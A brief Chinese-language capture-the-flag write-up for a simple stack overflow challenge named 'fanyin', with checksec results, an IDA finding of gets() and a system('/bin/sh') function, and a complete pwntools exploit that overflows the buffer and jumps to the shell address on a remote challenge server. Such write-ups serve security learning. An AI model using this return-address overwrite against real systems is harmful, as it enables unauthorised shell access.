(简单的栈溢出)
checksec查看附件如下:
开启了内存不可执行以及部分重定位. 直接运行本程序, 如图所示, 题目中直接给出了一个地址, 不知道能不能利用.
用IDA打开附件查看, 逻辑比较清晰, 其中有system('/bin/sh')
, 而且有gets
函数, 可以直接溢出然后跳转执行.v5
长度为512, 构造payloadb'a' * 512 + b'a' * 8 + p64(shell_addr)
完整exp如下:
from pwn import*
context.log_level = 'debug'
# sh = process('./fanyin')
sh = remote('61.147.171.105', 51859)
elf = ELF('./fanyin')
shell_addr = 0x4005F6
payload = b'a' * 512 + b'a' * 8 + p64(shell_addr)
sh.sendlineafter('>', payload)